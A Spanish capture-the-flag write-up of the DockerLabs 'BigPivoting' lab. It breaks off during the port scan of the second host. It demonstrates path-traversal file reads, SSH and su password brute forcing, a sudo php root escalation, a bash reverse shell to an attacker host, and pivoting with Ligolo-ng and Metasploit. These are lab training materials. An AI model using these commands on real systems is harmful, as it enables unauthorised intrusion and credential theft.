the_open_door
café
ESEN

BigPivoting

DockerLabsDifícilLinux10.10.10.2

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#dockerlabs#pivoting#ligolo-ng#metasploit#autoroute#portfwd#proxychains#socks#lfi#path-traversal#ssh-bruteforce#hydra#su-bruteforce#sudo#gtfobins#php#ftp#keepass#grafana#cve-2021-43798#python-injection#file-upload#webshell#env#vim#information-disclosure
TL;DR. BigPivoting es una cadena de cinco máquinas encadenadas por red donde cada host es el puente hacia el siguiente segmento: 10.10.10.0/24 → 20.20.20.0/24 → 30.30.30.0/24 → 40.40.40.0/24 → 50.50.50.0/24. La técnica protagonista es el pivoting, y este writeup documenta el primer salto de tres formas distintas (Ligolo-ng, Metasploit con autoroute + portfwd, y un SOCKS de ssh -D con proxychains) para que se vea qué cambia y qué no. El acceso a cada máquina se gana con vectores distintos (LFI + fuerza bruta SSH, FTP anónimo + KeePass + Grafana CVE-2021-43798, fuga de usuario + hydra, subida de webshell, y RCE por parámetro oculto) y la escalada, casi siempre, con un abuso de sudo vía GTFOBins (php, vim, env) o un script escribible. Este writeup documenta el compromiso completo de los cinco segmentos.

Introducción

El laboratorio simula un entorno corporativo segmentado: solo el primer host (10.10.10.2) es accesible desde nuestra máquina atacante. Cada equipo está dual-homed (tiene una pata en su red y otra en la siguiente), así que la única forma de alcanzar la segunda red es comprometer la primera máquina y usarla como puente. Repetimos el patrón cinco veces.

Esquema de red del laboratorio: cinco equipos, cada uno con dos direcciones, encadenando 10.10.10.0/24 hasta 50.50.50.0/24

10.10.10.2      20.20.20.2
20.20.20.3      30.30.30.2
30.30.30.3      40.40.40.2
40.40.40.3      50.50.50.2
50.50.50.3

El esquema deja clarísima la topología: la máquina 1 tiene 10.10.10.2 (que nosotros vemos) y 20.20.20.2 (que solo ella ve). El objetivo final, 50.50.50.3, es el único host con una sola dirección: es el fondo del saco.

La herramienta principal de pivoting es Ligolo-ng (repo). Su modelo mental es simple: en el atacante corre un proxy que expone una interfaz de red virtual (TUN); en la víctima corre un agent que se conecta al proxy. Al hacer start, todo el tráfico que enviemos a la ruta asociada a esa TUN sale por la víctima. No hace falta proxychains ni tocar cada herramienta: es enrutamiento a nivel de sistema. Más abajo se comparan las otras dos alternativas.

Máquina 1: 10.10.10.2

Reconocimiento

Un ping de cortesía ya da la primera pista:

ping -c 1 10.10.10.2

Ping a 10.10.10.2 con ttl=64, indicio de un sistema Linux

PING 10.10.10.2 (10.10.10.2) 56(84) bytes of data.
64 bytes from 10.10.10.2: icmp_seq=1 ttl=64 time=0.246 ms

--- 10.10.10.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.246/0.246/0.246/0.000 ms

TTL 64 apunta a Linux (los sistemas Linux inician el TTL en 64 y cada salto de routing lo decrementa, así que un valor exactamente 64 sugiere que además no hay saltos intermedios). Es un indicio, no una prueba.

El escaneo de puertos completo se lanza con jmap, una función del .zshrc que pide la IP y guarda la salida de nmap en formato grepable:

jmap

jmap escanea los 65535 puertos de 10.10.10.2 y descubre el 22 y el 80 con ttl 64

[+] Introduce una IP

10.10.10.2

Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-20 20:23 CET
Initiating ARP Ping Scan at 20:23
Scanning 10.10.10.2 [1 port]
Completed ARP Ping Scan at 20:23, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 20:23
Scanning 10.10.10.2 [65535 ports]
Discovered open port 80/tcp on 10.10.10.2
Discovered open port 22/tcp on 10.10.10.2
Completed SYN Stealth Scan at 20:23, 0.98s elapsed (65535 total ports)
Nmap scan report for 10.10.10.2
Host is up, received arp-response (0.0000070s latency).
Scanned at 2025-01-20 20:23:10 CET for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 02:42:0A:0A:0A:02 (Unknown)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

El cuerpo de la función es este, para que el escaneo se pueda reproducir sin ella:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

Dos detalles que confirma la salida y conviene leer: la MAC 02:42:... es el prefijo que usa Docker para sus interfaces virtuales (estamos ante contenedores, no máquinas físicas), y el escaneo tarda 1,22 segundos porque es una red local sin latencia.

La segunda función, extractPorts, parsea ese fichero grepable y deja los puertos en el portapapeles:

extractPorts scan

extractPorts imprime IP 10.10.10.2 y puertos 22,80 y los copia al portapapeles

Extracting information ...
IP Address: 10.10.10.2
Open ports: 22,80

Ports copied to clipboard

IP Address: 10.10.10.2
Open ports: 22,80
extractPorts () {
        echo -e "Extracting information..."

        ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)

        ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
        echo -e "IP Address: $ip_address"
        echo -e "Open ports: $ports\n"
        {
                echo -e "IP Address: $ip_address"
                echo -e "Open ports: $ports\n"
        } >> extractPorts.tmp
        echo "$ports" | xclip -sel clip
        echo -e "Ports copied to clipboard\n"
        cat extractPorts.tmp
        rm extractPorts.tmp
}

Y la tercera, jmap2, es simplemente nmap -p<puertos> -sCV <ip>:

jmap2 10.10.10.2 22,80

jmap2 identifica OpenSSH 9.2p1 Debian en el 22 y Apache 2.4.57 Debian en el 80

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 03:cf:72:54:de:54:ae:cd:2a:16:58:6b:8a:f5:52:dc (ECDSA)
|_  256 13:bb:c2:12:f5:97:30:a1:49:c7:f9:d0:ba:d0:5e:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:0A:0A:0A:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
jmap2 () {

        if [ "$#" -ne 2 ]
        then
                echo "Uso: jmap2 <ip> <puertos>"
                return 1
        fi

        local ip="$1"
        local puertos="$2"
        nmap -p"$puertos" -sCV "$ip"

}

El mismo escaneo lanzado a mano, en una sesión posterior, da exactamente el mismo resultado (útil como comprobación de que el laboratorio se reconstruye igual):

nmap -p22,80 -sCV -n -Pn 10.10.10.2

nmap -p22,80 -sCV sobre 10.10.10.2 devuelve OpenSSH 9.2p1 y Apache 2.4.57

Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-19 07:55 +0000
Nmap scan report for 10.10.10.2
Host is up (0.000086s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:99:4C:30:3E:89 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

whatweb sobre el 80 no aporta nada nuevo, pero se ejecuta igualmente porque descartarlo también es información:

whatweb http://10.10.10.2

whatweb sobre 10.10.10.2 solo identifica Apache 2.4.57 y la página por defecto de Debian

http://10.10.10.2 [200 OK] Apache[2.4.57], Country[RESERVED][ZZ],
  HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[10.10.10.2],
  Title[Apache2 Debian Default Page: It works]

La raíz es la página por defecto de Apache: no hay aplicación en /, hay que buscarla.

Descubrimiento de contenido

Aquí se usa DirBuster, la herramienta gráfica de OWASP. Se configura con la URL objetivo, 200 hilos, el diccionario directory-list-2.3-medium.txt y la extensión php:

dirbuster

La ventana de OWASP DirBuster 1.0-RC1 configurada contra http://10.10.10.2 con 200 hilos, directory-list-2.3-medium.txt y extensión php

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

Target URL: http://10.10.10.2
Work Method: Auto Switch (HEAD and GET)
Number Of Threads: 200 Thre...  [x] Go Faster
Select scanning type: (o) List based brute force
File with list of dirs/files: /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[x] Brute Force Dirs   [x] Be Recursive   Dir to start with: /
[x] Brute Force Files  [ ] Use Blank Extension  File extension: php

El resultado es corto pero suficiente:

Resultados de DirBuster sobre 10.10.10.2: 3 directorios y 1 fichero, entre ellos /shop/ y /shop/index.php

http://10.10.10.2:80/     Dirs: 3  Files: 1

Type   Found              Response   Size
Dir    /                  200        11322
Dir    /icons/            403        445
Dir    /shop/             200        1329
File   /shop/index.php    200        1329
Dir    /icons/small/      403        445

En una sesión posterior se repite el barrido con dirsearch, que llega a lo mismo por otro camino:

dirsearch -u http://10.10.10.2/ --exclude-status 400,401,500,403 -t 200 2>/dev/null

dirsearch descubre la ruta /shop

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 11460
Target: http://10.10.10.2/

[07:57:13] Starting:
[07:57:50] 301 -  307B  - /shop  ->  http://10.10.10.2/shop/
Task Completed

Visitamos /shop/index.php a ver qué es:

La tienda de teclados en 10.10.10.2/shop/index.php; al pie de la página aparece el texto Error de Sistema: ($_GET['archivo']);

Tienda de Teclados

[imagen de un teclado]

"Error de Sistema: ($_GET['archivo']);"

Una tienda de teclados sin funcionalidad aparente... salvo por la línea del pie. Ese "Error de Sistema: ($_GET['archivo']);" es un mensaje de error mal capturado que filtra el nombre del parámetro que espera el script: archivo. Es un caso de information disclosure de manual, y ya apunta a dónde mirar.

Path Traversal en el parámetro archivo

Aunque el pie de la página ya regalaba el nombre, el parámetro se confirma por fuerza bruta con wfuzz, que es el método reproducible cuando no hay pista. La idea: fuzzear el nombre del parámetro poniendo como valor una ruta de traversal conocida, y filtrar por número de líneas para quedarnos solo con la respuesta distinta:

wfuzz -u '10.10.10.2/shop/index.php?FUZZ=../../../../../../etc/passwd' -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hl=44

wfuzz lanza 220560 peticiones contra el nombre del parámetro y solo sobrevive archivo, con 68 líneas y 2253 caracteres

* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: http://10.10.10.2/shop/index.php?FUZZ=../../../../../../etc/passwd
Total requests: 220560

ID           Response   Lines    Word     Chars       Payload

000014843:   200        68 L     117 W    2253 Ch     "archivo"

Un único superviviente: archivo. El --hl=44 descarta las 44 líneas de la respuesta normal, así que lo que queda son 68 líneas: el /etc/passwd renderizado dentro de la plantilla. Lo confirmamos en el navegador:

El navegador en 10.10.10.2/shop/index.php?archivo=../../../../../../etc/passwd muestra el contenido de /etc/passwd dentro de la plantilla de la tienda

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
seller:x:1000:1000:seller,,,:/home/seller:/bin/bash
manchi:x:1001:1001:manchi,,,:/home/manchi:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin

Es un Directory Path Traversal / LFI clásico: el parámetro se concatena a una ruta sin normalizarla, así que ../ permite salir del directorio previsto. Los usuarios con shell interactiva son seller y manchi (además de root).

El mismo vector funciona sin nombrar el fichero PHP, porque index.php es el índice por defecto del directorio:

curl "http://10.10.10.2/shop/?archivo=../../../../../../etc/passwd"

El LFI en el parámetro archivo, esta vez sobre /shop/ sin index.php, vuelca de nuevo /etc/passwd con los usuarios seller y manchi

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
...
seller:x:1000:1000:seller,,,:/home/seller:/bin/bash
manchi:x:1001:1001:manchi,,,:/home/manchi:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin

Lista de usuarios para la fuerza bruta

Un LFI no vale solo para leer ficheros: vale para convertir una fuerza bruta ciega en una dirigida. Con curl y tres filtros construimos la lista de cuentas con shell:

curl 10.10.10.2/shop/index.php?archivo=../../../../../../etc/passwd | grep bash | awk -F ":" '{print $1}' | sed 's/<[^>]*>//g' | tr -d ' ' > validusers.txt
cat validusers.txt

El pipeline de curl, grep, awk, sed y tr construye validusers.txt con root, seller y manchi

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2253  100  2253    0     0  1098k      0 --:--:-- --:--:-- --:--:-- 2200k

root
seller
manchi

Cada eslabón del pipe hace una cosa: grep bash se queda con las cuentas cuya shell es /bin/bash, awk -F ":" '{print $1}' extrae el primer campo (el nombre), sed 's/<[^>]*>//g' limpia las etiquetas HTML que arrastra la respuesta (recordemos que el /etc/passwd viene incrustado en una plantilla) y tr -d ' ' elimina espacios sobrantes.

En la segunda pasada la lista se escribió a mano, ya sabiendo cuáles son las dos cuentas de usuario reales:

echo -en 'seller\nmanchi' > users
cat users

La lista users contiene seller y manchi

seller
manchi

Acceso inicial: fuerza bruta por SSH

Con la lista acotada, hydra prueba rockyou contra SSH. Con 64 tareas en paralelo son 28,7 millones de combinaciones teóricas, pero la buena aparece pronto:

hydra -L validusers.txt -P /home/krmena/rockyoudir/rockyou.txt ssh://10.10.10.2 -I -t 64

hydra revienta el SSH y devuelve login manchi password lovely

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-20 20:44:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ... ) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 28688828 login tries (l:2/p:14344414), ~448263 tries per task
[DATA] attacking ssh://10.10.10.2:22/
[22][ssh] host: 10.10.10.2   login: manchi   password: lovely

El aviso de hydra sobre -t 4 es real y merece atención: muchos sshd limitan las sesiones concurrentes con MaxStartups, y pasarse de hilos puede provocar falsos negativos. Aquí funcionó porque es un contenedor de laboratorio con la configuración por defecto.

ssh manchi@10.10.10.2

Sesión SSH abierta como manchi en 10.10.10.2, sobre un kernel Kali 6.11.2

manchi@10.10.10.2's password:
Linux 24c416b9955b 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
...
Last login: Mon Jan 20 19:45:22 2025 from 10.10.10.1
manchi@24c416b9955b:~$

Entramos como manchi:lovely. El nombre de host, 24c416b9955b, es el ID de un contenedor Docker: confirma lo que ya sugería la MAC del escaneo.

Movimiento lateral: manchi → seller

manchi no tiene permisos interesantes, así que probamos un salto lateral por fuerza bruta local del comando su. La herramienta es Sudo_BruteForce, que hay que clonar primero en el atacante:

sudo git clone https://github.com/Maalfer/Sudo_BruteForce.git

git clone del repositorio Sudo_BruteForce descarga 45 objetos

Cloning into 'Sudo_BruteForce'...
remote: Enumerating objects: 45, done.
remote: Counting objects: 100% (45/45), done.
remote: Compressing objects: 100% (42/42), done.
remote: Total 45 (delta 16), reused 5 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (45/45), 15.42 KiB | 877.00 KiB/s, done.
Resolving deltas: 100% (16/16), done.
cd Sudo_BruteForce
ls

El repositorio contiene el mismo ataque en C, Go, Python y shell

Linux-Su-Force.c  Linux-Su-Force.go  Linux-Su-Force.py  Linux-Su-Force.sh  README.md

Cuatro implementaciones del mismo ataque; usamos la de shell porque no requiere nada instalado en la víctima. Para transferirla, un servidor HTTP en el atacante:

python3 -m http.server 80

El servidor HTTP en el puerto 80 registra la descarga de Linux-Su-Force.sh desde 10.10.10.2

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.2 - - [20/Jan/2025 20:57:03] "GET /Linux-Su-Force.sh HTTP/1.1" 200 -

Y del lado de la víctima:

wget http://192.168.1.80/Linux-Su-Force.sh
ls
chmod +x Linux-Su-Force.sh

wget descarga Linux-Su-Force.sh (1600 bytes) en el home de manchi y se le da permiso de ejecución

--2025-01-20 19:57:03--  http://192.168.1.80/Linux-Su-Force.sh
Connecting to 192.168.1.80:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 1600 (1.6K) [text/x-sh]
Saving to: 'Linux-Su-Force.sh'

Linux-Su-Force.sh   100%[===================>]

2025-01-20 19:57:03 (217 MB/s) - 'Linux-Su-Force.sh' saved [1600/1600]

manchi@24c416b9955b:~$ ls
Linux-Su-Force.sh

El script necesita también un diccionario, y la víctima no lo tiene. Repetimos la operación desde el directorio de rockyou:

cd /home/krmena/rockyoudir
python3 -m http.server 80

El servidor HTTP servido desde el directorio de rockyou registra la descarga de rockyou.txt

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.2 - - [20/Jan/2025 21:03:21] "GET /rockyou.txt HTTP/1.1" 200 -
wget http://192.168.1.80/rockyou.txt

wget descarga los 134 MB de rockyou.txt en la víctima, guardándolo como rockyou.txt.1

--2025-01-20 20:09:24--  http://192.168.1.80/rockyou.txt
Connecting to 192.168.1.80:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 140056909 (134M) [text/plain]
Saving to: 'rockyou.txt.1'

rockyou.txt.1       100%[===================>]

2025-01-20 20:09:24 (710 MB/s) - 'rockyou.txt.1' saved [140056909/140056909]

(El .1 del nombre indica que ya existía un rockyou.txt de un intento anterior; wget no sobrescribe.) Ahora sí, el ataque contra seller, filtrando el ruido de cada intento:

./Linux-Su-Force.sh seller rockyou.txt | grep -v Probando

El script Linux-Su-Force.sh arranca contra el usuario seller mostrando su banner BruteForce SU

**************************
*     BruteForce SU      *
**************************

El script encuentra la contraseña qwerty para el usuario seller

Contraseña encontrada para el usuario seller: qwerty

seller:qwerty. En una segunda pasada la misma secuencia se hizo más corta, descargando el script directamente desde raw.githubusercontent.com y copiando el rockyou.txt del sistema al directorio servido, y dejando a la vista el recorrido completo del diccionario:

# atacante
wget https://raw.githubusercontent.com/Maalfer/Sudo_BruteForce/refs/heads/main/Linux-Su-Force.sh 2>/dev/null
cp /usr/share/wordlists/rockyou.txt .
python3 -m http.server 80
# víctima
wget http://192.168.1.80/Linux-Su-Force.sh &>/dev/null
wget http://192.168.1.80/rockyou.txt &>/dev/null
./Linux-Su-Force.sh seller rockyou.txt

A la izquierda el script probando contraseña por contraseña hasta dar con qwerty; a la derecha el servidor HTTP del atacante sirviendo el script y el diccionario

# atacante
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.2 - - [19/May/2026 15:31:23] "GET /Linux-Su-Force.sh HTTP/1.1" 200 -
10.10.10.2 - - [19/May/2026 15:31:32] "GET /rockyou.txt HTTP/1.1" 200 -
10.10.10.2 - - [19/May/2026 15:32:24] "GET /Linux-Su-Force.sh HTTP/1.1" 200 -
10.10.10.2 - - [19/May/2026 15:32:28] "GET /rockyou.txt HTTP/1.1" 200 -

# víctima
**************************
*     BruteForce SU      *
**************************
Probando contraseña: charley
Probando contraseña: letmein
Probando contraseña: password
Probando contraseña: abc123
...
Probando contraseña: lovely
Probando contraseña: jessica
Probando contraseña: 654321
Probando contraseña: michael
Probando contraseña: ashley
Probando contraseña: qwerty
Contraseña encontrada para el usuario seller: qwerty

Ahí se ve por qué funcionó: qwerty cae en las primeras treinta palabras de rockyou. También aparece lovely, la contraseña de manchi, unas líneas antes.

Este vector merece una nota: su no tiene límite de intentos ni registra un bloqueo como lo haría un servicio de red, pero sí introduce un retardo artificial tras cada fallo (FAIL_DELAY en /etc/login.defs, típicamente 3 segundos). Por eso este ataque solo es viable cuando la contraseña está muy arriba en el diccionario, como aquí.

Escalada de privilegios: sudo php

Cambiamos de usuario y comprobamos lo primero que hay que comprobar siempre:

su seller
cd
sudo -l

su seller funciona con qwerty y sudo -l muestra (ALL) NOPASSWD: /usr/bin/php

manchi@24c416b9955b:~$ su seller
Password:
seller@24c416b9955b:/home/manchi$ cd
seller@24c416b9955b:~$ sudo -l
Matching Defaults entries for seller on 24c416b9955b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User seller may run the following commands on 24c416b9955b:
    (ALL) NOPASSWD: /usr/bin/php

Poder ejecutar php como root sin contraseña es una entrada documentada en GTFOBins: PHP puede lanzar procesos, así que le pedimos una shell.

CMD="/bin/bash"
sudo php -r "system('$CMD');"
cd
ls
id

sudo php -r system lanza bash como root; id devuelve uid=0(root)

seller@24c416b9955b:~$ CMD="/bin/bash"
seller@24c416b9955b:~$ sudo php -r "system('$CMD');"
root@24c416b9955b:/home/seller# cd
root@24c416b9955b:~# ls
root@24c416b9955b:~# id
uid=0(root) gid=0(root) groups=0(root)

Somos root en la máquina 1. El truco del CMD en una variable no es cosmético: evita pelearse con el anidamiento de comillas simples dentro de las dobles.

Pivoting: tres formas de llegar a 20.20.20.0/24

Este laboratorio es ideal para comparar técnicas, porque el mismo salto se resolvió de tres maneras distintas. Las tres consiguen lo mismo (alcanzar 20.20.20.3 desde nuestra máquina), pero con costes muy diferentes.

A. Ligolo-ng: interfaz TUN y enrutamiento real

Levantamos el proxy en el atacante y subimos el agent a la máquina comprometida (que tiene visibilidad de la red 20.20.20.0/24):

# atacante (proxy)
./proxy -selfcert -laddr 0.0.0.0:1111
# víctima (agent)
./agent -connect 192.168.1.80:1111 -ignore-cert

El agente de Ligolo se conecta al proxy y la sesión aparece disponible

# víctima (agent)
INFO[0000] warning, certificate validation disabled
INFO[0000] Connection established           addr="192.168.1.80:1111"

# atacante (consola de Ligolo)
ligolo-ng » INFO[0043] Agent joined.   id=e68e833c9827 name=root@7111019c15ff remote="10.10.10.2:39800"

La consola confirma Agent joined con la sesión del host comprometido.

Creamos la interfaz virtual y enrutamos la red interna hacia ella:

sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 20.20.20.0/24 dev ligolo

Dentro de la consola de Ligolo seleccionamos la sesión y arrancamos el túnel con start. A partir de aquí, un simple ping demuestra que la red interna ya es alcanzable de forma transparente:

Ligolo-ng: el agente se une, iniciamos el túnel y el ping a 20.20.20.3 responde con ttl 64 a través del pivote

ligolo-ng » INFO[0874] Agent joined.  name=root@7111019c15ff remote="10.10.10.2:36306"
[Agent : root@7111019c15ff] » start
INFO[0881] Starting tunnel to root@7111019c15ff (e68e833c9827)

$ ping 20.20.20.3
PING 20.20.20.3 (20.20.20.3) 56(84) bytes of data.
64 bytes from 20.20.20.3: icmp_seq=1 ttl=64 time=2.50 ms

La ventaja es evidente: toda herramienta funciona sin adaptaciones, incluido ping (que es ICMP y no pasa por un SOCKS).

B. Metasploit: autoroute y port forwarding

La segunda vía usa la sesión de Metasploit como pasarela. Primero un multi/handler para recoger la shell de root que ya tenemos:

use multi/handler
options
setg lhost 192.168.1.80
run

El multi/handler de Metasploit configurado con generic/shell_reverse_tcp, lhost 192.168.1.80 y lport 4444

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   LHOST                   yes       The listen address (an interface may b...
   LPORT  4444             yes       The listen port

msf6 exploit(multi/handler) > setg lhost 192.168.1.8'
[-] Parse error: Unmatched quote: "setg lhost 192.168.1.8'"
msf6 exploit(multi/handler) > setg lhost 192.168.1.80
lhost => 192.168.1.80
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.1.80:4444

(La línea del Parse error es una errata de tecleo que se deja a la vista: Metasploit no interpreta el comando si las comillas quedan sin cerrar.)

Desde la shell de root en la víctima, la reverse shell:

bash -i >& /dev/tcp/192.168.1.80/4444 0>&1

Desde la shell de root en la víctima se lanza bash -i redirigido a /dev/tcp/192.168.1.80/4444

root@24c416b9955b:/home/manchi# bash -i >& /dev/tcp/192.168.1.80/4444 0>&1

El handler la recoge y la mandamos a segundo plano con Ctrl+Z:

Metasploit abre la sesión 1 con la shell de root y se manda a segundo plano con Ctrl+Z

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.1.80:4444
[*] Command shell session 1 opened (192.168.1.80:4444 -> 10.10.10.2:57374) at 2025-01-20 21:11:37 +0100

Shell Banner:
root@24c416b9955b:/home/manchi#
-----

root@24c416b9955b:/home/manchi# ^Z
Background session 1? [y/N]  y
msf6 exploit(multi/handler) >

Una shell normal no sirve para autoroute: hace falta un Meterpreter, porque el enrutamiento se implementa dentro del propio payload. El módulo shell_to_meterpreter hace la conversión:

use shell_to_meterpreter
options
set session 1
run
sessions

shell_to_meterpreter convierte la sesión 1 en la sesión 2 de tipo meterpreter x86/linux

msf6 exploit(multi/handler) > use shell_to_meterpreter
[*] Using post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST    192.168.1.80     no        IP of host that will receive the connection from the payload
   LPORT    4433             yes       Port for payload to connect to
   SESSION                   yes       The session to run this module on

msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.80:4433
[*] Sending stage (1017704 bytes) to 10.10.10.2
[*] Meterpreter session 2 opened (192.168.1.80:4433 -> 10.10.10.2:52164) at 2025-01-20 21:14:00 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions

  Id  Name  Type                Information                    Connection
  1         shell sparc/bsd     Shell Banner: root@24c416b9955b:  192.168.1.80:4444 -> 10.10.10.2:5...
  2         meterpreter x86/linux  root @ 10.10.10.2            192.168.1.80:4433 -> 10.10.10.2:5...

Con el Meterpreter listo, autoroute en modo autoadd lee la tabla de rutas de la víctima y añade a Metasploit las redes que esta alcanza:

use multi/manage/autoroute
options
set session 2
run
route print

autoroute añade las subredes 10.10.10.0/24 y 20.20.20.0/24 leídas de la tabla de rutas de la víctima

msf6 post(multi/manage/autoroute) > set session 2
session => 2
msf6 post(multi/manage/autoroute) > run
[*] Running module against 10.10.10.2
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.10.10.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 20.20.20.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf6 post(multi/manage/autoroute) > route print

IPv4 Active Routing Table

   Subnet         Netmask          Gateway
   10.10.10.0     255.255.255.0    Session 2
   20.20.20.0     255.255.255.0    Session 2

[*] There are currently no IPv6 routes defined.

Ahí está la clave del laboratorio en una sola línea: la víctima conoce 20.20.20.0/24 y ahora Metasploit lo enruta por ella.

Antes de escanear conviene saber qué hay vivo. El barrido más barato es un bucle de ping desde dentro de la víctima, que no requiere ninguna herramienta:

for i in {1..254} ;do (ping -c 1 20.20.20.$i | grep "bytes from" & 2>/dev/null) ;done

El bucle de ping desde la víctima encuentra vivos 20.20.20.2 y 20.20.20.3

64 bytes from 20.20.20.2: icmp_seq=1 ttl=64 time=0.025 ms
64 bytes from 20.20.20.3: icmp_seq=1 ttl=64 time=0.033 ms

Dos hosts: 20.20.20.2 es la otra pata de la máquina que ya controlamos, y 20.20.20.3 es el objetivo nuevo.

nmap no funciona a través de las rutas de Metasploit (no usa la API de sockets del framework), así que el escaneo de puertos se hace con el módulo interno:

use auxiliary/scanner/portscan/tcp
options
set rhosts 20.20.20.3
run

El módulo portscan/tcp encuentra abiertos los puertos 21, 22, 80 y 3000 en 20.20.20.3

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

msf6 auxiliary(scanner/portscan/tcp) > set rhosts 20.20.20.3
rhosts => 20.20.20.3
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 20.20.20.3:            - 20.20.20.3:21 - TCP OPEN
[+] 20.20.20.3:            - 20.20.20.3:22 - TCP OPEN
